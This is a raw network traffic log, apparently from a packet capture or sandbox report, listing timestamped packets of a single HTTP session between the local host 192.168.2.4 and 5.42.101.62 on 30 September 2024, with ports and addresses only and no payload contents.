Sep 30, 2024 12:22:35.125655890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125678062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125689030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.301826000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301867962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301903009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301918983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301934958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301959038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301965952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.301975012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301990032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.301999092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302006960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302025080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302040100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302041054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302062988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302081108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302094936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302109957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302125931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302134037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302139997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302150011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302155972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302166939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302170992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302191973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302217007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302233934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302251101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302267075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302274942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302285910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302290916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302309036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302325010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302429914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302444935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302459955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302467108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302476883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302483082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302493095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302500010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302509069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302517891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302524090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302535057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302540064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302556038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302557945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302573919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302580118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302591085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302604914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302608013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302630901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302658081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302680016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302692890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302711010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302715063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302731037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302746058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302843094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302858114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302872896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302879095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302887917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302896023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302903891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302911997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302921057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302930117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302937031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302947998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302952051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302968025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302974939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.302982092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302998066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.302998066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303014040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303020954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303029060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303045988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303071022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303472042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303507090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303515911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303524017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303539038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303543091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303555012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303560019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303571939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303577900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303586960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303595066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303605080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303611994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303622007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303630114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303649902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303649902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303666115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303666115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303683996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303684950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303699970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303700924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303716898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303719044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303736925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303739071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303755045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303764105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303769112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303780079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303796053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303798914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303816080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303821087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303831100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303833008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303850889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303853035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303868055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303869009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303884029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303884029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303900003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303900003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303919077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303920984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303936005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303940058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303955078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.303960085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303972960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.303992033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.389220953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.389282942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.398233891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.404759884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582509995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582551956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582587004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582622051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582640886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582643986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582675934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582693100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582705975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582729101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582741022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582773924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582775116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582813025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582813025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582825899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582858086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582890034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582892895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582918882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582926035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.582937956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582973003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.582981110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583004951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583015919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583036900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583053112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583081961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583091021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583123922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583136082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583154917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583163977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583198071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583209991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583252907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583261013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583295107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583308935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583327055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583343029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583370924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583404064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583437920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583450079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583475113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583482027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583507061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583514929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583542109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583553076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583575010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583586931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583609104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583616972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583641052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583662033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583679914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583682060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583709002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583723068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583745003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583756924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583781958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583796024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583817959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583827019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583851099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583862066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583884954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583893061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583920002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583930969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583952904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583976984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.583988905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.583993912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584033012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584039927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584073067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584083080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584106922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584117889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584140062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584151983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584172964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584181070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584206104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584217072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584252119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584256887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584292889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584299088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584326029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584336042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584359884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584366083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584405899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584419966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584455967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584462881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584487915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584497929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584521055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584527969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584553957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584567070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584588051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584595919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584620953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584625006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584654093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584664106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584688902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584696054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584721088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584727049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584754944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584760904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584788084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584795952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584815979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584825993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584862947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584866047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584902048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584909916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584934950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584943056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.584968090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.584974051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585000992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585010052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585036039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585050106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585069895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585078001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585103035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585112095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585135937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585145950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585170031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585179090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585203886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585211039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585238934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585253954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585279942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585289955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585323095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585334063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585355997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585365057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585392952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585395098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585426092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585433960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585459948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585467100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585491896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585501909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585525990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585536957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585558891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585566044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585602045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585609913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585643053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585653067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585675955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585684061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585710049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585720062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585742950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585747004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585774899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585784912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585809946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585818052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585836887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585851908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585881948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585886955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585917950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585927010 CEST	52534	80	192.168.2.4	5.42.101.62
